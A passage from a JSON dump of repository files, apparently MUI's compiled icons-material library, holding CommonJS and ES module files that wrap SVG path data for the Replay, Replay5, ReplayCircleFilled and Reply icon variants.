.27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}, \"1\")], 'Replay5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.69 13.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}, \"1\")], 'Replay5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.31 8.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}), 'Replay5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.31 8.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}), 'Replay5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V2.21c0-.45-.54-.67-.85-.35l-3.8 3.79c-.2.2-.2.51 0 .71l3.79 3.79c.32.31.86.09.86-.36V7c3.73 0 6.68 3.42 5.86 7.29-.47 2.26-2.14 3.99-4.39 4.53-3.64.88-6.93-1.6-7.42-4.96-.06-.49-.48-.86-.97-.86-.6 0-1.08.53-1 1.13.63 4.47 4.94 7.75 9.77 6.67 3.09-.69 5.39-3.08 5.99-6.19C20.84 9.48 16.94 5 12 5m-1.31 8.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}), 'Replay5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V2.21c0-.45-.54-.67-.85-.35l-3.8 3.79c-.2.2-.2.51 0 .71l3.79 3.79c.32.31.86.09.86-.36V7c3.73 0 6.68 3.42 5.86 7.29-.47 2.26-2.14 3.99-4.39 4.53-3.64.88-6.93-1.6-7.42-4.96-.06-.49-.48-.86-.97-.86-.6 0-1.08.53-1 1.13.63 4.47 4.94 7.75 9.77 6.67 3.09-.69 5.39-3.08 5.99-6.19C20.84 9.48 16.94 5 12 5m-1.31 8.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}), 'Replay5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.31 8.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}), 'Replay5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.31 8.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}), 'Replay5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.31 8.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}), 'Replay5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay5TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.31 8.9.25-2.17h2.39v.71h-1.7l-.11.92c.03-.02.07-.03.11-.05s.09-.04.15-.05.12-.03.18-.04.13-.02.2-.02c.21 0 .39.03.55.1s.3.16.41.28.2.27.25.45.09.38.09.6q0 .285-.09.54c-.09.255-.15.32-.27.45s-.27.24-.45.31-.39.12-.64.12c-.18 0-.36-.03-.53-.08s-.32-.14-.46-.24-.24-.24-.32-.39-.13-.33-.13-.53h.84c.02.18.08.32.19.41s.25.15.42.15q.165 0 .27-.06c.105-.06.14-.1.18-.17s.08-.15.11-.25.03-.2.03-.31-.01-.21-.04-.31-.07-.17-.13-.24-.13-.12-.21-.15-.19-.05-.3-.05c-.08 0-.15.01-.2.02s-.11.03-.15.05-.08.05-.12.07-.07.06-.1.09z\"\n}), 'Replay5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10c0 3.31-2.69 6-6 6s-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4v3L8 7l4-4v3c3.31 0 6 2.69 6 6\"\n}), 'ReplayCircleFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10c0 3.31-2.69 6-6 6s-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4v3L8 7l4-4v3c3.31 0 6 2.69 6 6\"\n}), 'ReplayCircleFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16.5c-3.31 0-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4c0-2.24-1.85-4.09-4.16-3.99l1.57 1.57L12 11.5l-4-4 4-4 1.41 1.41-1.6 1.6C15.28 6.4 18 9.18 18 12.5c0 3.31-2.69 6-6 6\"\n}), 'ReplayCircleFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 16.5c-3.31 0-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4c0-2.24-1.85-4.09-4.16-3.99l1.57 1.57L12 11.5l-4-4 4-4 1.41 1.41-1.6 1.6C15.28 6.4 18 9.18 18 12.5c0 3.31-2.69 6-6 6\"\n}), 'ReplayCircleFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10.74c-.12 3.09-2.67 5.64-5.76 5.76-3.01.12-5.56-1.99-6.12-4.82-.13-.61.36-1.18.98-1.18.47 0 .88.33.98.8.42 2.07 2.44 3.57 4.72 3.12 1.56-.3 2.82-1.56 3.12-3.12.5-2.56-1.45-4.8-3.92-4.8v1.79c0 .45-.54.67-.85.35l-2.8-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.32-.31.86-.09.86.36V6.5c3.39 0 6.13 2.82 6 6.24\"\n}), 'ReplayCircleFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10.74c-.12 3.09-2.67 5.64-5.76 5.76-3.01.12-5.56-1.99-6.12-4.82-.13-.61.36-1.18.98-1.18.47 0 .88.33.98.8.42 2.07 2.44 3.57 4.72 3.12 1.56-.3 2.82-1.56 3.12-3.12.5-2.56-1.45-4.8-3.92-4.8v1.79c0 .45-.54.67-.85.35l-2.8-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.32-.31.86-.09.86.36V6.5c3.39 0 6.13 2.82 6 6.24\"\n}), 'ReplayCircleFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10.5c0 3.31-2.69 6-6 6s-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4v3l-4-4 4-4v3c3.31 0 6 2.69 6 6\"\n}), 'ReplayCircleFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10.5c0 3.31-2.69 6-6 6s-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4v3l-4-4 4-4v3c3.31 0 6 2.69 6 6\"\n}), 'ReplayCircleFilledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10.5c0 3.31-2.69 6-6 6s-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4v3l-4-4 4-4v3c3.31 0 6 2.69 6 6\"\n}), 'ReplayCircleFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayCircleFilledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10.5c0 3.31-2.69 6-6 6s-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4v3l-4-4 4-4v3c3.31 0 6 2.69 6 6\"\n}), 'ReplayCircleFilledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}), 'ReplayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}), 'ReplayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V2.21c0-.45-.54-.67-.85-.35l-3.8 3.79c-.2.2-.2.51 0 .71l3.79 3.79c.32.31.86.09.86-.36V7c3.73 0 6.68 3.42 5.86 7.29-.47 2.27-2.31 4.1-4.57 4.57-3.57.75-6.75-1.7-7.23-5.01-.07-.48-.49-.85-.98-.85-.6 0-1.08.53-1 1.13.62 4.39 4.8 7.64 9.53 6.72 3.12-.61 5.63-3.12 6.24-6.24C20.84 9.48 16.94 5 12 5\"\n}), 'ReplayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V2.21c0-.45-.54-.67-.85-.35l-3.8 3.79c-.2.2-.2.51 0 .71l3.79 3.79c.32.31.86.09.86-.36V7c3.73 0 6.68 3.42 5.86 7.29-.47 2.27-2.31 4.1-4.57 4.57-3.57.75-6.75-1.7-7.23-5.01-.07-.48-.49-.85-.98-.85-.6 0-1.08.53-1 1.13.62 4.39 4.8 7.64 9.53 6.72 3.12-.61 5.63-3.12 6.24-6.24C20.84 9.48 16.94 5 12 5\"\n}), 'ReplayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}), 'ReplaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}), 'ReplaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 6 5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8V1z\"\n}), 'ReplayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 6 5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8V1z\"\n}), 'ReplayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Reply.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'Reply');"
  },
  {
    "path": "packages/mui-icons-material/lib/Reply.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9V5l-7 7 7 7v-4.1c5 0 8.5 1.6 11 5.1-1-5-4-10-11-11\"\n}), 'Reply');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReplyAll.js",
